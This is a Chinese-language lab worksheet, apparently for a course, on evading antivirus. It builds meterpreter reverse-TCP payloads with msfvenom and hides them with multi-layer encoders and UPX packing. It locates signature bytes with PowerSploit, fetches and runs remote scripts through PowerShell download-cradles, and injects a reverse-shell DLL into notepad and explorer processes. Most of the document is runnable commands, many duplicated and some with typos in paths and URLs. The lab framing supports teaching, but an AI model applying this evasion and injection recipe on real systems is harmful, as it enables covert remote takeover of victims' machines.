目录
步骤七:测试payload.exe、payload02.exe和payload03.exe能不能正常连接到主控端
步骤四:PowerSploit功能一:检测被控端的特征码(使用AntivirusBypass)
步骤五:PowerSploit功能二:实现将DLL注入进程(使用CodeExecution)
远程控制被控端与杀毒软件的博弈
1、杀毒软件主要使用以下3种技术:
1)基于文件扫描的反病毒技术
2)基本内存扫描的反病毒技术
3)基于行为监控的反病毒技术
2、黑客主要使用的免杀手段:
1)修改特征码
2)添加花指令
3)程序加密(加壳)
1、基于文件扫描的反病毒技术。这种技术主要依靠对程序的二进制代码进行检测,反病毒工程师将病毒样本中的一段特有的二进制代码串提取出来作为特征码,并将其加入病毒库,以后检测程序时看它是否包含这个特征码。
2、基于内存扫描的反病毒技术。有的病毒程序可能通过各种手段躲过文件扫描,但是想要达到目的,它就需要运行。程序在运行后会将自身释放到内存中,释放后的文件结构与未执行的文件相比有较大的差异。因此杀毒软件使用一套针对内存的特征码。
3、基于行为监控的反病毒技术。以上两种技术只能查杀已知病毒,对病毒库中不包含的病毒基本没有办法。而基于行为监控的反病毒技术则会监控程序的行为,如果它在执行后会进行-些非正规的、可疑的操作,例如修改系统的注册表的重要部分,则会被视作病毒而被查杀。
一、 msfvenom提供的免杀方法
msfvenom针对这种扫描方式提供了一种混淆编码的解决方案。msf编码器可以将原可执行程序重新编码,生成一个新的二进制文件,这个文件运行以后,msf编码器会将原始程序解码到内存中并执行。这样就可以在不影响程序执行的前提下,躲避杀毒软件的特征码查杀。
步骤一:生成一个普通的payload
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.112.133 lport=5000 -f exe -o /var/www/html/payload1.exe
ls /var/www/html
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.112.133 lport=5000 -f exe -o /var/www/html/payload1.exe
ls /var/www/html
步骤二 :到安装了火绒杀毒软件的虚拟机下载攻击载荷。
(下载被控端,火绒杀毒软件是否弹出警告?)
http://192/168.112.133/payload1.exe
http://192/168.112.133/payload1.exe
步骤三:生成一个免杀的payload
1、 查看msfvenom中可用的编码方式
msfvenom -l encoders
msfvenom -l encoders
2、 使用评级为low的编码方式/x86/nonalpha生成一个免杀的payload
(执行2次,2次生成的Shellcode相同吗?)
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.112.133 lport=5000 -e x86/nonalpha -f c
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.112.133 lport=5000 -e x86/nonalpha -f c
执行第1次(采用默认的1次编码):
执行第2次(采用默认的1次编码):
3、使用评级为excellent的编码方式生成一个免杀的payload
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.112.133 lport=5000 -e x86/shikata_ga_nai -f c
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.112.133 lport=5000 -e x86/shikata_ga_nai -f c
执行第1次(采用默认的1次编码):
执行第2次(采用默认的1次编码):
(结果:执行2次,2次生成的Shellcode相同吗?)
执行第3次(使用多次编码、多重编码):
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.112.133 lport=5000 -e x86/shikata_ga_nai -i 10 -f c
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.112.133 lport=5000 -e x86/shikata_ga_nai -i 10 -f c
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.112.133 lport=5000 -e x86/shikata_ga_nai -i 10 -f raw | msfvenom -e x86/alpha_upper -a x86 --platform windows -i 5 -f raw | msfvenom -e x86/countdown -a x86 --platform windows -i 10 -f exe -o /var/www/payload2.exe
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.112.133 lport=5000 -e x86/shikata_ga_nai -i 10 -f raw | msfvenom -e x86/alpha_upper -a x86 --platform windows -i 5 -f raw | msfvenom -e x86/countdown -a x86 --platform windows -i 10 -f exe -o /var/www/payload2.exe
步骤四:到安装了火绒杀毒软件的虚拟机下载攻击载荷。
(下载被控端,火绒杀毒软件是否弹出警告?)
http://192.168.112.133/payload2.exe
http://192.168.112.133/payload2.exe
步骤五:对上述生成的免杀payload加壳
1、对payload02.exe加壳
upx /var/www/html/ayload3.exe
upx /var/www/html/ayload3.exe
2、将payload02.exe复制为payload03exe
mv /var/html/payload2.exe /var/www/html
cp /var/html/payload2.exe /var/www/html/payload3.exe
upx /var/www/html/ayload3.exe
步骤六:到安装了火绒杀毒软件的虚拟机下载攻击载荷。
(下载被控端,火绒杀毒软件是否弹出警告?)
http://192.168.112.133/payload3.exe
http://192.168.112.133/payload3.exe
步骤七:测试payload.exe、payload02.exe和payload03.exe能不能正常连接到主控端
1、启动metasploit,进入metasploit(msf)的控制台。
msfconsole
msfconsole
2、使用handler模块,然后配置参数,发起攻击。
(1)使用handler模块
use exploit/multi/handler
(2)设置攻击载荷为windows/meterpreter/reverse_tcp
set payload windows/x64/meterpreter/reverse_tcp
(3)设置lhost为kali的IP
set lhost 192.168.112.133
(4)设置lpost为5000
set lport 5000
(5)发起攻击
run
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.112.133
set lport 5000
run
(6)目标靶机分别运行payload02.exe和payload03.exe后,kali是否建立会话?
二、PowerSploit提供的免杀方法
步骤一:在kali中启动PowerSploit
方法一:菜单
方法二:命令行
步骤二:将PowerSploit目录当作一个网站发布
python3 -m http.server 8888
python3 -m http.server 8888
步骤三:在靶机(或其它虚拟机)中访问PowerSploit
1、在地址栏输入kali的IP
2、是否能打开由python启动的http服务?
步骤四:PowerSploit功能一:检测被控端的特征码(使用AntivirusBypass)
方法:将程序拆分成n个部分,分别使用杀毒软件对这n个文件进行检查;找出报毒部分反复执行拆分操作,直到发现特征码所在位置。
1、启动PowerSploit的方法:开始/搜索程序和文件(输入:PowerShell,选择Windows PowerShell)
(结果截图!)
2、下载脚本文件Find-AVSignature.psl:
输入命令:
iex(new-object net.webclient).downloadstring("http://192.168.112.133:8888/AntivirusBypass/Find-AVSignature.ps1”)
iex(new-object net.webclient).downloadstring("http://192.168.112.133:8888/AntivirusBypass/Find-AVSignature.ps1”)
注:需要在括号中输入脚本所在目录!
(结果截图!)
3、使用脚本文件Find-AVSignature.psl查找攻击载荷的特征码
(1)使用脚本文件Find-AVSignature.psl将测试文件(位于桌面的payload.exe)分解成多个小文件,保存到桌面的tmp文件夹中:
find-avsignature -startbyte 0 -endbyte 20000 -interval 10000 -path C:\Users\Administrator\Desktop\payload1.exe -outpath C:\Users\Administrator\Desktop\tmp
find-avsignature -startbyte 0 -endbyte 20000 -interval 10000 -path C:\Users\Administrator\Desktop\payload1.exe -outpath C:\Users\Administrator\Desktop\tmp
注:先退出火绒!
结果:生成几个小文件。
(2)选中所有文件,使用火绒进行杀毒,找到报毒的文件是哪些?
(3)对报毒的文件重复上述分解、查毒过程,直到找到特征码所在的位置。
注:每深入一次分解,分解小文件的大小要逐级降低,如改为:-interval 1000、-interval 100。
find-avsignature -startbyte 0 -endbyte 20000 -interval 1000 -path c:\Users\Administrator\top\payload1.exe -outpath c:\Users\Administrator\Desktop\tmp
find-avsignature -startbyte 0 -endbyte 20000 -interval 1000 -path c:\Users\Administrator\top\payload1.exe -outpath c:\Users\Administrator\Desktop\tmp
find-avsignature -startbyte 0 -endbyte 20000 -interval 100 -path c:\Users\Administrator\top\payload1.exe -outpath c:\Users\Administrator\Desktop\tmp
find-avsignature -startbyte 0 -endbyte 20000 -interval 100 -path c:\Users\Administrator\top\payload1.exe -outpath c:\Users\Administrator\Desktop\tmp
步骤五:PowerSploit功能二:实现将DLL注入进程(使用CodeExecution)
提供了4个脚本:
Invoke-DllInjection.psl:用于将DLL文件注入到一个进程。
Invoke-ReflectivePEInjection.psl
Invoke-Shellcode.psl
Invoke-WmiCommand.psl。
例:生成一个DLL类型的反向被控端,注入进程。
1、生成一个DLL类型的反向被控端
(1)查看可用于windows系统的dll类型的反向控制攻击载荷
由于目标靶机是64位系统,所以需要使用64位的攻击载荷来生成dll。
msfvenom -l payload | grep windows | grep all
msfvenom -l payload | grep windows | grep all
(2)生成dll文件payload01.dll
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.112.133 lport=5000 -f dll -o /var/www/html/payload1.dll
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.112.133 lport=5000 -f dll -o /var/www/html/payload1.dll
2、生成对应的主控端
(1)启动metasploit,进入metasploit(msf)的控制台。
msfconsole
msfconsole
(2)使用handler模块,然后配置参数。
I:使用handler模块
use exploit/multi/handler
II:设置攻击载荷为windows/x64/meterpreter/reverse_tcp
set payload windows/x64/meterpreter/reverse_tcp
III:设置lhost为kali的IP
set lhost 192.168.112.133
IV:设置lpost为5000
set lport 5000
V:发起攻击(等待目标靶机64位win7上线)
run
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.112.133
set lport 5000
run
3、在64位win7系统中下载payload01.dll
(1)在64位win7中下载脚本Invoke-DllInjection.ps1
iex(new-object net.webclient).downloadstring("http://192.168.112.133:8888/CodeExecution/Invoke-DIIInjection.ps1”)
iex(new-object net.webclient).downloadstring("http://192.168.112.133:8888/CodeExecution/Invoke-DIIInjection.ps1”)
(2)下载payload01.dll到桌面。
注:先退出火绒,再下载。否则会被火绒清除。
下载是否成功?
4、将payload01.dll注入到进程中
(1)调出进程编号选项
(2)注入到“记事本”进程中
I:启动记事本,看到记事本进程及其PID是多少?
Invoke-DIIInjection -ProcessID 2924
Invoke-DIIInjection -ProcessID 2924
II:注入进程:
完成注入!
Invoke-DIIInjection -ProcessID 2924 -dll c:\Users\Administrator\Desktop\payload1.dll
Invoke-DIIInjection -ProcessID 2924 -dll c:\Users\Administrator\Desktop\payload1.dll
5、实现远程控制
(1)kali中是否建立会话?
(2)执行一些命令:查看当前进程号、用户id、当前目录、列现当前目录下所有文件等。
getpid
pwd
ls
getpid
pwd
ls
注意:程序被注入后,可能会出现工作异常的情况,所以不要注入到系统进程里,否则会引起程序崩溃。记事本是否已经崩溃?会话还在吗?
(3)靶机中查看到这个kali建立的会话进程
background
sessions
sessions 1
getpid
background
sessions
sessions 1
getpid
6、在靶机中结束kali建立的会话进程,kali打开的会话是否关闭?
(1)在靶机中结束kali建立的会话进程
(2)Kali中打开的会话是否关闭?
7、这次生成的是64位的攻击载荷,对64位的进程有效,那么对32位的进程有否有效?
请尝试注入32位的进程!
8、注入到资源管理器。
(1)查看资源管理器的进程PID号
(2)执行注入命令
查看到kali是否建立会话?
(3)查看到64位win7系统的资源管理器是否崩溃?